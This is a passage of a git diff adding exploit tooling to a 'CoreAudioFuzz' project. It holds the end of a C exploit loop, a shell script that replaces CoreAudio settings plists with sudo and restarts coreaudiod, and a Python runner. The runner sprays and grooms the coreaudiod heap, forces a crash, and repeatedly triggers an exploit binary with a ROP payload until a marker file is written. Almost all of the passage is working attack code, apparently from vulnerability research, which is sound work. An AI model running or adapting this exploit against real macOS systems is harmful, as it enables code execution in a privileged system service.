trigger_vulnerability(engn_id); + printf(YELLOW "😴 Sleeping for 5 seconds...\n" RESET); + sleep(5); + } + } + + printf(GREEN "\n🎉 All stages complete.\n" RESET); + return 0; +} diff --git a/CoreAudioFuzz/exploit/reset-devices.sh b/CoreAudioFuzz/exploit/reset-devices.sh new file mode 100755 index 0000000..7524618 --- /dev/null +++ b/CoreAudioFuzz/exploit/reset-devices.sh @@ -0,0 +1,11 @@ +#!/bin/bash + +sudo cp default-plist.plist /Library/Preferences/Audio/com.apple.audio.SystemSettings.plist +sudo chmod 644 /Library/Preferences/Audio/com.apple.audio.SystemSettings.plist + +sudo cp default-plist.plist /Library/Preferences/Audio/com.apple.audio.DeviceSettings.plist +sudo chmod 644 /Library/Preferences/Audio/com.apple.audio.DeviceSettings.plist + +sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.audio.coreaudiod.plist + +sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.audio.coreaudiod.plist diff --git a/CoreAudioFuzz/exploit/run_exploit.py b/CoreAudioFuzz/exploit/run_exploit.py new file mode 100755 index 0000000..f776e76 --- /dev/null +++ b/CoreAudioFuzz/exploit/run_exploit.py @@ -0,0 +1,189 @@ +#!/usr/bin/env python3 +import os +import sys +import time +import subprocess +import argparse +import shutil + +# Configuration +TARGET_FILE = "/Library/Preferences/Audio/malicious.txt" +PLIST_PATH = "/Library/Preferences/Audio/com.apple.audio.SystemSettings.plist" +EXPLOIT_BIN = "./exploit" +ROP_PAYLOAD = "rop_payload.bin" +RESET_SCRIPT = "./reset-devices.sh" +MIN_PLIST_SIZE = 1 +MAX_PLIST_SIZE = 10240 + +# Colors +GREEN = "\033[92m" +RED = "\033[91m" +YELLOW = "\033[93m" +BLUE = "\033[94m" +RESET = "\033[0m" +BOLD = "\033[1m" +CYAN = "\033[36m" +MAGENTA = "\033[35m" + +def print_status(msg): + print(f"{BLUE}[*]{RESET} {msg}") + +def print_success(msg): + print(f"{GREEN}[+]{RESET} {BOLD}{msg}{RESET}") + +def print_error(msg): + print(f"{RED}[-]{RESET} {msg}") + +def print_warning(msg): + print(f"{YELLOW}[!]{RESET} {msg}") + +def check_file_exists(path): + return os.path.exists(path) + +def get_file_size(path): + try: + return os.path.getsize(path) + except OSError: + return -1 + +def reset_environment(): + print_status("Resetting CoreAudio environment...") + if not check_file_exists(RESET_SCRIPT): + print_error(f"Reset script not found at {RESET_SCRIPT}") + return False + + try: + subprocess.run([RESET_SCRIPT], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + print_success("Environment reset successfully.") + return True + except subprocess.CalledProcessError as e: + print_error(f"Failed to reset environment: {e}") + return False + +def run_command_stream(cmd_args, prefix=" "): + """Runs a command and streams its output with a prefix.""" + try: + # Popen to capture stdout/stderr in real-time + process = subprocess.Popen( + cmd_args, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, # Merge stderr into stdout + text=True, + bufsize=1, # Line buffered + errors='replace' # Handle invalid UTF-8 (e.g. 0xAA bytes) + ) + + for line in process.stdout: + sys.stdout.write(f"{prefix}{line}") + + process.wait() + return process.returncode == 0 + except Exception as e: + print_error(f"Failed to run command {cmd_args}: {e}") + return False + +def main(): + parser = argparse.ArgumentParser(description="CoreAudio Exploit Runner") + parser.add_argument("--no-reset", action="store_true", help="Skip environment reset") + parser.add_argument("--has-groomed", action="store_true", help="Skip initial heap grooming if already done") + args = parser.parse_args() + + print(f"{BOLD}=== CoreAudio Exploit Runner (Updated) ==={RESET}") + print(f"Target: {TARGET_FILE}") + + # Backup original plist if not already backed up + if not check_file_exists("default-plist.plist"): + if check_file_exists(PLIST_PATH): + print_status(f"Backing up {PLIST_PATH} to default-plist.plist...") + try: + shutil.copy2(PLIST_PATH, "default-plist.plist") + print_success("Backup created.") + except Exception as e: + print_error(f"Failed to create backup: {e}") + else: + print_warning(f"Could not find {PLIST_PATH} to backup.") + + if not args.no_reset: + print_warning("Ensure you have manually run ./reset-devices.sh as root if needed.") + + if not check_file_exists(EXPLOIT_BIN): + print_error(f"Exploit binary not found at {EXPLOIT_BIN}") + sys.exit(1) + + if not check_file_exists(ROP_PAYLOAD): + print_error(f"ROP payload not found at {ROP_PAYLOAD}") + sys.exit(1) + + if check_file_exists(TARGET_FILE): + print_warning(f"Target file {TARGET_FILE} exists. Attempting removal...") + try: + subprocess.run(["sudo", "rm", TARGET_FILE], stderr=subprocess.DEVNULL) + except: + pass + + print_status("Starting exploit loop. Press Ctrl+C to stop.") + + attempt = 0 + start_time = time.time() + has_groomed = args.has_groomed + + try: + while True: + attempt += 1 + elapsed = time.time() - start_time + + # 1. Check success first + if check_file_exists(TARGET_FILE): + print("\n") + print_success(f"Success! Payload executed and wrote to {TARGET_FILE}") + print(f"Total attempts: {attempt}") + print(f"Total time: {elapsed:.2f}s") + break + + print(f"\n{YELLOW}>> Attempt {attempt} | Time: {elapsed:.0f}s{RESET}") + + # 2. HEAP GROOMING PHASE (Spray if plist is small/default) + if check_file_exists(PLIST_PATH): + fsize = get_file_size(PLIST_PATH) + print(f" Current plist size: {fsize} bytes") + + if fsize > 0 and fsize < MAX_PLIST_SIZE: + if not has_groomed: + print(f"{BLUE}>> Target plist detected ({fsize} bytes). Spraying heap...{RESET}") + # Heap Grooming: 20 iterations, 1200 allocs each + success = run_command_stream([EXPLOIT_BIN, "--iterations", "20", "--allocs", "1200"], prefix=f"{MAGENTA}[GROOM] {RESET}") + + if not success: + print_warning("Grooming failed (timeout/crash). Retrying...") + time.sleep(1) + continue + + print_status("Grooming complete. Forcing crash to reload state...") + # Trigger a crash to force coreaudiod to restart and load the big plist + run_command_stream([EXPLOIT_BIN, "--pre-crash"], prefix=f"{RED}[RESTART] {RESET}") + + print_status("Waiting 5s for coreaudiod to reload with groomed heap...") + time.sleep(5) + has_groomed = True + else: + print_status("Skipping heap grooming (already performed).") + else: + print_warning("Plist file not found. Is CoreAudio running?") + + # 3. EXPLOIT TRIGGER PHASE + print(f"{CYAN}>> Triggering exploit attempt...{RESET}") + + # Run the exploit attempt + if not check_file_exists(TARGET_FILE): + run_command_stream([EXPLOIT_BIN, "--attempts", "1"], prefix=f"{CYAN}[ATTEMPT] {RESET}") + + print_status("Waiting 3s for results...") + time.sleep(3) + + except KeyboardInterrupt: + print("\n") + print_status("Exploit stopped by user.") + sys.exit(0) + +if __name__ == "__main__": + main()